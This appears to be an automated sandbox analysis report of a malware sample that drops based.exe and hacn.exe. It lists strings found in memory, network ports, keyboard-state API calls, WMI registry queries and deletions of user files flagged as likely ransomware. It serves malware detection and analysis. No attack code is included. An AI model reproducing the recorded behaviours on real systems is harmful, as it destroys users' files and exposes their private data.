Source: based.exe, 0000000C.00000002.1725510737.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1723950852.0000021B5BFD0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1585988934.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1595682461.00000243EE3E1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590958342.00000243EE3AF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1592517331.00000243EE3B3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591392040.00000243EE3B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: based.exe, 0000000C.00000002.1728940382.0000021B5CAD0000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1607031059.00000243EE0F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: hacn.exe, 0000000D.00000002.1607031059.00000243EE0F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxyP
Source: based.exe, 0000000C.00000002.1729060934.0000021B5CBD0000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1728816792.0000021B5C9D0000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1608835958.00000243EE4F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: hacn.exe, 0000000D.00000002.1608835958.00000243EE4F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings)
Source: based.exe, 0000000C.00000002.1729060934.0000021B5CBD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsP
Source: based.exe, 0000000C.00000003.1720160766.0000021B5C8DD000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CE04000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: hacn.exe, 00000009.00000003.1322078379.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: hacn.exe, 00000009.00000003.1321993214.000001ECA6252000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1322078379.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1322199619.000001ECA6252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=wi
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=wh
Source: hacn.exe, 0000000D.00000003.1578952022.00000243EEB45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://artsandculture.google.com/project/black-history-and-culture%3Fu
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: based.exe, 0000000C.00000003.1465859235.0000021B5C8C4000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1454406856.0000021B5C8C3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1412550337.0000021B5C8A0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1469292808.0000021B5C8D6000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1437815934.0000021B5C8B1000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1720160766.0000021B5C8C7000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1589634542.0000021B5C8C3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1702179181.0000021B5C8C7000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1728176309.0000021B5C8C8000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1728940382.0000021B5CAD0000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1583062953.0000021B5C8C0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1429815916.0000021B5C50F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CE0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: based.exe, 0000000C.00000003.1415358068.0000021B5C792000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1377386844.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1385429274.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: based.exe, 0000000C.00000003.1415358068.0000021B5C761000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1427134377.0000021B5C761000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1377386844.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1468182488.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1377386844.0000021B5C75A000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1385429274.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: based.exe, 0000000C.00000003.1377386844.0000021B5C80A000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1385429274.0000021B5C80A000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6D3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1585988934.0000021B5C6DA000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1725510737.0000021B5C6DA000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1377386844.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1385429274.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1468182488.0000021B5C6D7000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C6D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: based.exe, 0000000C.00000003.1720160766.0000021B5C8DD000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317675891.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1733311943.00007FFB0B448000.00000004.00000001.01000000.00000022.sdmp, based.exe, 0000000C.00000002.1734109663.00007FFB0B7E3000.00000004.00000001.01000000.00000021.sdmp, hacn.exe, 0000000D.00000002.1619740947.00007FFB022DB000.00000002.00000001.01000000.0000002B.sdmp, hacn.exe, 0000000D.00000002.1621932868.00007FFB02629000.00000002.00000001.01000000.0000002A.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: hacn.exe, 0000000D.00000003.1598503548.00000243EE1F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org
Source: hacn.exe, 0000000D.00000002.1609715884.00000243EE960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: svchost.exe, 00000000.00000003.1273583904.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1318985306.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1319665432.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1607031059.00000243EE0F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: svchost.exe, 00000007.00000003.1287499123.000001DC0506A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1287514938.000001DC05046000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1287555336.000001DC05045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1294251350.000001DC04BB0000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1723398374.0000021B5BC90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: based.exe, 0000000C.00000002.1725510737.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1585988934.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1592986769.00000243EE399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CDCC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?tab=w1
Source: based.exe, 0000000C.00000003.1720160766.0000021B5C8DD000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584425193.00000243EEA8D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1583975958.00000243EEA9F000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1583771899.00000243EEA95000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584425193.00000243EEA8D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/P
Source: based.exe, 0000000C.00000003.1378870830.0000021B5C4A8000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1725510737.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1723950852.0000021B5C08B000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1585988934.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1378713040.0000021B5C48C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1603110697.00000243EE23D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591056311.00000243EE239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736

Source: C:\ProgramData\Microsoft\hacn.exe

Code function: 13_2_00007FFB01E95140 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,GetKeyboardState,PyEval_RestoreThread,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,PyBytes_FromStringAndSize,

13_2_00007FFB01E95140

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\ProgramData\Microsoft\based.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\LIJDSFKJZG.pdf	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\LIJDSFKJZG.mp3	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\CZQKSDDMWR.docx	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\SNIPGPPREP.mp3	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\AQRFEVRTGL.jpg	Jump to behavior

Source: cmd.exe

Process created: 51

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe

Code function: 8_2_00BA7FD3: _wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

8_2_00BA7FD3

Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01E95A90 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,ExitWindowsEx,PyEval_RestoreThread,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,_Py_NoneStruct,_Py_NoneStruct,		13_2_00007FFB01E95A90
Source: C:\ProgramData\Microsoft\hacn.exe	Code function: 13_2_00007FFB01E95B30 _PyArg_ParseTuple_SizeT,PyEval_SaveThread,ExitWindowsEx,PyEval_RestoreThread,?PyWin_SetAPIError@@YAPEAU_object@@PEADJ@Z,_Py_NoneStruct,_Py_NoneStruct,		13_2_00007FFB01E95B30

Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119B28C	0_2_00007FF67119B28C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711964A4	0_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A4D48	0_2_00007FF6711A4D48
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671186740	0_2_00007FF671186740
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671190A4C	0_2_00007FF671190A4C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A8A88	0_2_00007FF6711A8A88
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711962F0	0_2_00007FF6711962F0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119DAB8	0_2_00007FF67119DAB8
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711972FC	0_2_00007FF6711972FC
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A314C	0_2_00007FF6711A314C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711929E4	0_2_00007FF6711929E4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711911F4	0_2_00007FF6711911F4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671190C38	0_2_00007FF671190C38
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119D438	0_2_00007FF67119D438
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671191CA0	0_2_00007FF671191CA0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671189CB0	0_2_00007FF671189CB0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A0CE4	0_2_00007FF6711A0CE4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A2CC0	0_2_00007FF6711A2CC0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671194D00	0_2_00007FF671194D00
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671181B90	0_2_00007FF671181B90
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671198F00	0_2_00007FF671198F00
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119FD48	0_2_00007FF67119FD48
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711964A4	0_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671190E20	0_2_00007FF671190E20
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671192618	0_2_00007FF671192618
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF671190864	0_2_00007FF671190864
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119FD48	0_2_00007FF67119FD48
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A5740	0_2_00007FF6711A5740
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119CF88	0_2_00007FF67119CF88
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF6711A4FC4	0_2_00007FF6711A4FC4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 0_2_00007FF67119100C	0_2_00007FF67119100C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67119B28C	7_2_00007FF67119B28C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671190A4C	7_2_00007FF671190A4C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A8A88	7_2_00007FF6711A8A88
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711962F0	7_2_00007FF6711962F0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67119DAB8	7_2_00007FF67119DAB8
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711972FC	7_2_00007FF6711972FC
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A314C	7_2_00007FF6711A314C
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711929E4	7_2_00007FF6711929E4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711911F4	7_2_00007FF6711911F4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671190C38	7_2_00007FF671190C38
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67119D438	7_2_00007FF67119D438
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671191CA0	7_2_00007FF671191CA0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711964A4	7_2_00007FF6711964A4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671189CB0	7_2_00007FF671189CB0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A0CE4	7_2_00007FF6711A0CE4
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A2CC0	7_2_00007FF6711A2CC0
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671194D00	7_2_00007FF671194D00
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671181B90	7_2_00007FF671181B90
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF671198F00	7_2_00007FF671198F00
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF67119FD48	7_2_00007FF67119FD48
Source: C:\Users\user\Desktop\svchost.exe	Code function: 7_2_00007FF6711A4D48	7_2_00007FF6711A4D48
